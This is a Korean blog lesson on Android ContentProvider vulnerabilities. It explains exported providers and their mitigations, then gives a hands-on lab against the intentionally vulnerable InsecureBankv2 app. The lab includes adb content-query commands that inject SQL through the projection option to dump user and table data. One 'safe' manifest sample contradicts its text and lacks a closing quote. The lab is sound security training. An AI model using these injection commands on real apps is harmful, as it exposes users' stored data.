본문으로 바로가기

안드로이드·갤럭시·AOS 애플리케이션 취약점진단/모의해킹 무료 강의 학식(hagsig)

 

가. 취약점 정의

- ContentProvider는 디바이스(시스템) 또는 다른 앱으로부터 발생하는 이벤트 신호를 받아 데이터베이스나 파일에 접근할 수 있도록 인터페이스를 제공한다.

 

- 다른 애플리케이션은 URI와 ContentResolver를 이용하여 콘텐츠 프로바이더에 접근하며, URI는 “content://[authority]/[path]” 형식으로 구성된다.

 

- *Androidmanifest.xml(매니페스트) 파일의 <provider></provider> 요소에 정의된다.

*AndroidManifest.xml : Android가 앱을 실행하기 위해 알아야 하는 앱의 모든 컴포넌트가 정의되어 있는 파일

 

- 프로바이더의 exported 설정이 true로 설정되면 시스템 또는 타 앱에서 콘텐츠 프로바이더에 접근하여 데이터를 조회하거나 변경할 수 있다.

#취약한 콘텐츠 프로바이더 예시
<provider 
	android:name="com.android.insecurebankv2.TrackUserContentProvider"
	android:exported="true"
	android:authorities="com.android.insecurebankv2.TrackUserContentProvider"
/>

 

나. 대응방안

1. 모든 액티비티에 권한 체크 기능 추가

- 외부에서 콘텐츠 프로바이더를 이용하여 접근 시 인증정보가 없거나, 적절한 권한을 소유하지 않았을 경우 앱을 강제 종료하는 기능을 추가한다.

 

- 루팅 또는 애뮬레이터 환경에서는 모든 액티비티를 강제 실행할 수 있으므로 모든 콘텐츠 프로바이더에 권한 체크 기능을 추가해야 한다.

 

2. exported 속성을 false로 설정

- 다른 앱과의 연동이 필요하지 않은 경우 exported 속성을 false로 설정하여야 한다.

#안전한 콘텐츠 프로바이더 예시 1
<provider 
	android:name="com.android.insecurebankv2.TrackUserContentProvider"
	android:exported="false"
	android:authorities="com.android.insecurebankv2.TrackUserContentProvider"
/>

 

3. protectionLevel을 signature로 설정

- 연동이 필요할 경우 exported 속성을 true로 설정한 뒤, protectionLevel을 signature로 설정한다.

- signature로 설정되는 경우 같은 서명을 사용하는 앱 간에만 콘텐츠 프로바이더를 호출할 수 있다.

# 안전한 콘텐츠 프로바이더 예시 2
<permission
	android:name="com.hagsig.permission"
	android:protectionLevel="signature"/>

<provider 
	android:name="com.android.insecurebankv2.TrackUserContentProvider"
	android:exported="false"
	android:authorities="com.android.insecurebankv2.TrackUserContentProvider"
    android:permission="com.hagsig.permission
/>

 

- permission을 부여하여 사용중일 경우 다른 앱에서 해당 앱의 액티비티를 호출하기 위해 uses-permission을 선언해야 한다.

# 다른 애플리케이션에서의 보안 설정
<uses-permission android:name="com.hagsig.permission"/>

 

4. 루팅 또는 애뮬레이터 환경 체크 기능 추가

- 액티비티에 export, protectionLevel 보안설정을 적용하더라도 루팅 또는 애뮬레이터에서는 액티비티를 강제 실행할 수 있다.

- 루팅 또는 애뮬레이터 환경에서 앱이 실행될 경우, 앱이 강제 종료되는 기능을 추가하여 보안 설정한 액티비티가 강제 실행되는 것을 방지한다.

 

다. 취약점 진단 실습

1. 분석 대상 앱 설치

- 실습을 위해 인시큐어뱅크 애플리케이션을 설치한다.

※ 인시큐어뱅크 앱이 설치되어있지 않은 사람은 아래의 글을 참고하여 앱을 설치하길 바란다.

2023.04.10 - [Mobile App 취약점 진단/AOS App 진단] - 인시큐어뱅크 앱 설치 및 실행 방법 정리(InsecureBankv2)

 

인시큐어뱅크 앱 설치 및 실행 방법 정리(InsecureBankv2)

1. 인시큐어뱅크 앱 이란? - 모바일 뱅킹 취약점 진단을 위한 테스트 용도로 제작된 애플리케이션이다. - 안드로이드 앱 취약점 진단을 실습할 수 있는 환경을 제공한다. - 2019년 이후로 업데이트

hagsig.tistory.com

 

2. 진단 대상 앱 apk 파일 추출

- 아래의 링크를 참고하여 인시큐어뱅크 앱으로부터 apk 파일을 추출한다.

안드로이드 앱(app)으로부터 apk 파일 추출 방법 정리

 

안드로이드 앱(app)으로부터 apk 파일 추출 방법 정리

1. apk 파일이란? - 안드로이드(Android) OS에 애플리케이션(Application, App)을 설치할 수 있는 파일이다. - 윈도우 OS의 설치파일(exe, msi)같은거라 생각하면 쉽다. 2. apk 파일을 추출해야하는 이유 - 취약

hagsig.tistory.com

 

3. JADX를 이용하여 APK파일 분석

- 아래의 링크에 접속하여 jadx-gui-x.x.x-with-jre-win.zip 파일을 다운로드한 뒤, 압축을 해제한다.

https://github.com/skylot/jadx/releases/tag/v1.4.7

 

Release 1.4.7 · skylot/jadx

Features [core] Inline lambdas by instance field (#1800) [plugins] Allow to load classes using input stream or byte array in jadx-input plugin (#1457) Bug Fixes [core] Restore missing type param...

github.com

 

- jadx-gui-x.x.x.exe 를 실행한 뒤 위에서 추출한 인시큐어뱅크 apk파일을 로드한다.

- InsecureBankv2.1.0.apk → 리소스 → AndroidManifest.xml

 

4. 콘텐츠 프로바이더 확인

- 콘텐츠 프로바이더의 URI를 확인하기 위해 콘텐츠 프로바이더를 더블 클릭하거나 좌측 탐색기에서 경로를 찾아가 연다.


- 또는 문자열 검색에서 "content://"를 검색하여 위치를 찾아낼 수 있다.

 

- 소스코드에서 아래와 같이 콘텐츠 프로바이더에 접근하기 위한 URI를 확인할 수 있다.

 

5. 콘텐츠 프로바이더를 이용한 공격

- adb에서 콘텐츠 프로바이더 URI를 이용하여 어떤 데이터가 출력되는지 확인한다.

- jack 이란 아이디는 인시큐어뱅크에서 사용하는 관리자 계정이므로, 콘텐츠 프로바이더의 URI를 이용하여 데이터베이스에서 로그인한 사용자 리스트를 출력하는 것을 확인할 수 있다.

#명령어 형식
#adb shell content query --uri [URI]

adb shell content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers

 

- 데이터베이스에서 데이터를 출력해오니 SQL injection이 가능한지 확인해 본다.

- projection 옵션을 사용하여 싱글 쿼터(')를 날려본 결과 SQL 인젝션이 가능해 보이는 것을 확인하였다.

#명령어 형식 
#adb shell content query --uri [URI] --projection \[context]

adb shell content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection \'

 

- SQL Injection 공격을 통해 데이터베이스 정보를 가져올 수 있는 것을 확인하였다.

adb shell content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection \"*from names;--\"
adb shell content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection \"* FROM SQLITE_MASTER WHERE type='table';\"